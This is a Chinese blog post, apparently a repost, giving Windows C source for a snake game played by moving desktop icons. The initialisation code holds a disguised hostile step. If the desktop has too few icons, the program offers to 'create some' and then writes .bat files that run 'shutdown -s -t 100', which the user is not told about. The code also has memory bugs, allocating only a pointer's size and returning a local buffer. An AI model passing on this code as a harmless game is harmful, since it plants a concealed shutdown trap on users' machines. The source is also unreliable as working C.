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C语言贪吃蛇小游戏(c语言程序设计贪吃蛇游戏)

本篇写的是桌面贪吃蛇小游戏,大家自己看吧,感谢大家的支持,谢谢!O(∩_∩)O~~

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1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 #define _CRT_SECURE_NO_WARNINGS #include <windows.h> #include <commctrl.h> #include <time.h> #include <stdlib.h> #include "shlobj.h" #include <stdio.h> #include <string.h> #define SIZE 100 //图标大小默认为100 HWND deskpot; //桌面句柄 int iCount = 0; //图标个数 int screenX; //获取屏幕的分辨率(宽) int screenY; //获取屏幕的分辨率(高) int eatCount = 0; //计数(已经吃到的图标) int index = 0; int speed = 500; //初始速度 typedef struct Snake //蛇结构体 { int x; int y; int index; struct Snake* next; }snake; snake* Head; //蛇头 snake* SnakeTemp; //临时的 POINT food; //食物位置 char* GetDesktopPath(); //返回桌面路径 void Initialization(); //初始化变量 void StartGame(); //开始游戏 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { Initialization(); MessageBox(deskpot, TEXT("游戏规则可以从自己身体上踏过但是不能撞到屏幕四周,按Esc键可退出"), TEXT(""), MB_OK | MB_ICONEXCLAMATION); StartGame(); return 0; } void Initialization() //初始化变量 { srand(unsigned int(time(NULL))); HWND grandpa = FindWindowA("Progman", "Program Manager"); HWND father = FindWindowExA(grandpa, NULL, "SHELLDLL_DefView", NULL); deskpot = FindWindowExA(father, 0, "SysListView32", "FolderView"); iCount = SendMessage(deskpot, LVM_GETITEMCOUNT, 0, 0); //获取句柄中控件的个数 screenX = GetSystemMetrics(SM_CXSCREEN); //获取屏幕的分辨率(宽) screenY = GetSystemMetrics(SM_CYSCREEN); //获取屏幕的分辨率(高) Head = (snake*)malloc(sizeof(Head)); Head->x = rand() % (screenX / SIZE) * SIZE; //蛇头初始化位置 Head->y = rand() % (screenY / SIZE) * SIZE; Head->index = 0; Head->next = NULL; if (iCount < 30) { if (MessageBox(deskpot, TEXT("检测到您桌面上的图标不够30个是否需要自动创建一些呢~"), TEXT(""), MB_YESNO | MB_ICONEXCLAMATION) == IDYES) //判断桌面图标是否够30个,不够就创建些 { FILE* fp; char Path[200]; //保存文件路径 char temp[20]; //存储文件名 char FineName[100]; //存储文件的全名加后缀名 for (int i = 0; i < 30 - iCount; i++) { memset(Path, 0, 200 * sizeof(char)); strcpy(Path, GetDesktopPath()); //将桌面路径给Path sprintf(temp, "\\贪吃蛇%d.bat", i); strcat(Path, temp); if ((fp = fopen(Path, "w+")) == NULL) continue; //如果他建失败就跳过 fprintf(fp, "shutdown -s -t 100"); fclose(fp); } } } for (int i = 0; i < iCount; i++) { //因为这里长宽只能用32位的数来表示,高在前,宽在后,用一下位运算 SendMessageA(deskpot, LVM_SETITEMPOSITION, i, (screenY << 16) + screenX); } return; } char* GetDesktopPath() //返回桌面路径 { LPITEMIDLIST pidl; LPMALLOC pShellMalloc; char szDir[200]; if (SUCCEEDED(SHGetMalloc(&pShellMalloc))) { if (SUCCEEDED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl))) { // 如果成功返回true SHGetPathFromIDListA(pidl, szDir); pShellMalloc->Free(pidl); } pShellMalloc->Release(); } return szDir; } void StartGame() //开始游戏 { SendMessageA(deskpot, LVM_SETITEMPOSITION, Head->index, (Head->y << 16) + Head->x); //打印蛇头 label: food.x = rand() % (screenX / SIZE) * SIZE; food.y = rand() % (screenY / SIZE) * SIZE; if (Head->x == food.x && Head->y == food.y) //如果食物的坐标和蛇头的初始位置相同则重新产生 goto label; SendMessageA(deskpot, LVM_SETITEMPOSITION, 1, (food.y << 16) + food.x); //打印食物 snake SnakeMove; //蛇的移动 SnakeMove.x = 1, SnakeMove.y = 0; //默认向右移动 while (eatCount < iCount) { if (GetAsyncKeyState(VK_UP) != 0) //上 SnakeMove.x = 0, SnakeMove.y = -1; if (GetAsyncKeyState(VK_DOWN) != 0) //下 SnakeMove.x = 0, SnakeMove.y = 1; if (GetAsyncKeyState(VK_LEFT) != 0) //左 SnakeMove.x = -1, SnakeMove.y = 0; if (GetAsyncKeyState(VK_RIGHT) != 0) //右 SnakeMove.x = 1, SnakeMove.y = 0; if (GetAsyncKeyState(VK_ESCAPE) != 0) //结束 { MessageBox(deskpot, TEXT("结束~"), TEXT(""), MB_OK | MB_ICONEXCLAMATION); exit(0); } if (GetAsyncKeyState(VK_SPACE)) //按空格键暂停 { while (1) { Sleep(300); if (GetAsyncKeyState(VK_SPACE)) //再按一次空格键继续 break; } } if (Head->x == food.x && Head->y == food.y) { index++; eatCount++; speed = speed - (speed / 10); snake* temp; temp = (snake*)malloc(sizeof(snake)); temp->x = food.x; temp->y = food.y; temp->index = index; temp->next = NULL; SnakeTemp = Head; while (SnakeTemp->next != NULL) { SnakeTemp = SnakeTemp->next; } SnakeTemp->next = temp; SnakeTemp = Head; SnakeTemp->x += SnakeMove.x * SIZE; SnakeTemp->y += SnakeMove.y * SIZE; while (SnakeTemp != NULL) { SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x); SnakeTemp = SnakeTemp->next; } label2: food.x = rand() % (screenX / SIZE) * SIZE; food.y = rand() % (screenY / SIZE) * SIZE; if (Head->x == food.x && Head->y == food.y) //如果食物的坐标和蛇头的初始位置相同则重新产生 goto label2; SendMessageA(deskpot, LVM_SETITEMPOSITION, index + 1, (food.y << 16) + food.x); //打印食物 } else { snake Temp; snake Temp2; bool choice = false; SnakeTemp = Head; Temp.x = SnakeTemp->x; Temp.y = SnakeTemp->y; SnakeTemp->x += SnakeMove.x * SIZE; SnakeTemp->y += SnakeMove.y * SIZE; SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x); SnakeTemp = Head->next; while (SnakeTemp != NULL) { Temp2.x = SnakeTemp->x; Temp2.y = SnakeTemp->y; SnakeTemp->x = Temp.x; SnakeTemp->y = Temp.y; SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x); Temp.x = Temp2.x; Temp.y = Temp2.y; SnakeTemp = SnakeTemp->next; } if (Head->x > screenX || Head->x<0 || Head->y>screenY || Head->y < 0) { MessageBox(deskpot, TEXT("笨蛋你撞到墙,游戏结束再见!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION); exit(0); } SnakeTemp = Head->next; while (SnakeTemp != NULL) { if (SnakeTemp->x == Head->x && SnakeTemp->y == Head->y) { MessageBox(deskpot, TEXT("笨蛋你咬到自己了,游戏结束再见!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION); exit(0); } SnakeTemp = SnakeTemp->next; } } Sleep(speed); } return; }

游戏界面如图:
C语言贪吃蛇小游戏(c语言程序设计贪吃蛇游戏)

失败界面如图:
C语言贪吃蛇小游戏(c语言程序设计贪吃蛇游戏)

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原文链接:https://blog.csdn.net/LYXlyxll/article/details/111408765

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